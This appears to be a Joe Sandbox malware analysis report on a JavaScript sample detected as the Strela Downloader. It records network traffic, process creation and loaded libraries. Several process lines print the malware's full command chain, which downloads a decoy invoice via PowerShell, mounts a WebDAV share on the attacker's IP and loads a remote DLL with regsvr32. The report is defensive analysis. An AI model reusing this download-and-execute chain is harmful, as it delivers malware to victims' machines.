TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2110169734.00000198816CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2171334880.000001284FD0E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171334880.000001284FCB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J~
Source: net.exe, 00000007.00000002.2171334880.000001284FCB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 00000007.00000002.2171334880.000001284FCEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r~
Source: svchost.exe, 00000009.00000002.3402979863.0000021630A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2170678792.0000021630760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2944, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 622118739225021737.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6292:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dd2rzep.411.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,13731528127773946648,642052187125554503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,13731528127773946648,642052187125554503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
